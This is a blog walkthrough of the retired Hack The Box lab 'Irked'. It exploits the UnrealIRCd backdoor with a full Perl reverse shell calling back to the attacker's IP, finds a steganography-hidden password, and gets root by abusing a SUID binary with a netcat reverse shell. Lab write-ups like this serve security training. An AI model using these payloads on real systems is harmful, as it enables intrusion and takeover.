Skip to main content

HacktheBox.eu - Irked - Update

HacktheBox.eu - Irked - Update




Recon

Let's use threader3000 for our recon scan. It's a threaded scanner written in python that does a super quick up/down scan on all TCP ports, then suggests a nmap scan based on the results. It will automatically save the nmap scan results as XML, then we can convert it to HTML


xsltproc ./irked.htb/irked.htb.xml -o ./irked.html



We've got a goodly amount of ports open to us on this box


22,80,111,6697,8067,55015,65534


We can see 22 is OpenSSH 6.7p1


80 is Apache 2.4.10

111 & 55015 both say RPC

And the others say UnreallRCd…. Whatever that is, Lets start on port 80 and see what it shows us.



An angry face with "IRC is almost working!"


If we run dirb we will find some default apache pages but not much else to go on


What is that UnreallRCD?


https://www.unrealircd.org/



Oh it's an IRC server… that makes sense.


If we google UnrealRCD and exploit, there appears to be a backdoor in some versions although we don't know what specific version this is, it seems like a pretty easy exploit to test.





Exploit


https://metalkey.github.io/unrealircd-3281-backdoor-command-execution.html


So we just need to type "AB" and we can get code execution?


Ok. Let's follow along the blog but with a perl reverse tcp shell instead.


Let's start by generation our perl Reverse shell


msfvenom  -p cmd/unix/reverse_perl LHOST=10.10.14.13 LPORT=5555 


Which give us this output.


perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"10.10.14.13:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'



So now we just need to stick AB; in front of it.


AB;perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"10.10.14.13:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'


Let's set up our netcat listener in case it it works


nc -lnvp 5555



And If we pick any of the irc ports and netcat to them we are met with this just like in the blog



Paste in our backdoor.


And we caught our reverse shell.



But the shell is kinda bad let's see if we have python installed and upgrade this shell



python -c 'import pty; pty.spawn("/bin/bash")'




Better





If we poke around in some folder we eventually come to the /home/djmarov/Documents/


Folder in here is a file named .backup and a user.txt file we don't yet have access to.


If we read the contents of .backup we see this.


Super elite steg backup pw
UPupDOWNdownLRlrBAbaSSss



Two things here …. That looks like the konami code ( not really important), but this also says this is a password for something hidden inside a file with steganography.


The only file we have seen so far is that irked face on the default webpage.


Let's save a copy of it to our kali box.


I named mine irked.txt 


If we use steghide to try to extract anything hidden the command would be


steghide extract -sf ./index.jpeg 


And it looks like there was something there.



Let's check it out

Cat pass.txt
Kab6h+m+bbp2J:HG


Ok so it seems like this is a password for something and considering we found the key in the djmardov folder We could guess that it is their password. 


Let's try to ssh as djmardov now


ssh djmardov@irked.htb




And now we can read the user.txt from /home/djmardov/Documents/user.txt



Now we need to figure out a path to root


Let's use updog and wget to copy over linpeas to irked to see if we can find a path forward.


On kali we start updog just by typing'



updog


And it will server anything that is in the folder that it was started from default is port 9090


Let's make a new folder on irked to download this into


mkdir /tmp/circusmonkey



Then we need to give it execution rights


chmod +x ./linpeas.sh



And we see this interesting SUID that is normally not on boxes..


/usr/bin/viewuser


What does that do?



Looks like its  trying to read something from /tmp/listusers…


But that file doesn't exist….


So let's make it 


echo "whoami" > /tmp/listusers
chmod 777 /tmp/listusers



And then run /usr/bin/viewusers



Cool looks like we have the results of whoami here…. Which means we can put anything we want in that temp folder and it should run it as root.


So let's get a shell as root


Let's start by setting up another listener on our kalibox


nc -lncp 5566



Then on irked we will send our nc connection command to the listusers file


echo "nc 10.10.14.13 5566 -e /bin/sh" > /tmp/listusers


Now if we run /usr/bin/viewuser again hopefully we catch a shell as root.



/usr/bin/viewuser


And there we go, we are root, and now we can get the root flag.





Comments

Popular posts from this blog

HacktheBox - Retired - Frolic

HacktheBox - Retired - Frolic Recon Let's start out with a threader3000 scan Some interesting results here Port 22 and 445 aren't uncommon… but 1880 and 9999 are.. Let's let nmap run through these ports  Option Selection: 1 nmap -p22,445,1880,9999 -sV -sC -T4 -Pn -oA 10.10.10.111 10.10.10.111 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-05 16:17 EDT Nmap scan report for 10.10.10.111 Host is up (0.060s latency). PORT     STATE SERVICE     VERSION 22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA) |   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA) |_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519) 445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 1880/tcp open  http        Node.js (Express middlewar...

Hack The Box - Retired - Laboratory

HackTheBox - Laboratory - Retired Starting off with a quick scan using threader6000 /opt/threader3000/threader6000.py 10.10.10.216 Ports 22,80,443 came back. Run nmap against these ports. nmap -p22,80,443 -sV -sC -T4 -Pn -oN 10.10.10.216 10.10.10.216 nmap -p22,80,443 -sV -sC -Pn -T4 -oN 10.10.10.216 10.10.10.216 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-13 17:43 EDT Nmap scan report for laboratory.htb (10.10.10.216) Host is up (0.060s latency). PORT    STATE SERVICE  VERSION 22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |   3072 25:ba:64:8f:79:9d:5d:95:97:2c:1b:b2:5e:9b:55:0d (RSA) |   256 28:00:89:05:55:f9:a2:ea:3c:7d:70:ea:4d:ea:60:0f (ECDSA) |_  256 77:20:ff:e9:46:c0:68:92:1a:0b:21:29:d1:53:aa:87 (ED25519) 80/tcp  open  http     Apache httpd 2.4.41 |_...

A collection of online Security CTF and Learning sites

 Hellbound Hackers    Embedded Security CTF Arizona Cyber Warfare Range Over The Wire - Bandit Pico CTF 2018 Hack The Box.eu Root Me: Challenges/Forensic RingZero CTF Vulnerable By Design - Vulnerable VMs Murder Mystery SQL Challenge Incident Response Challenge Authentication Lab Walkthroughs Defcon CTF Archives Matrix Holiday Hack Cyber Defenders | Blue Team and CTF Crypto Hack - learning Crypto Video Learning Zero to Hero Pentesting by The Cyber Mentor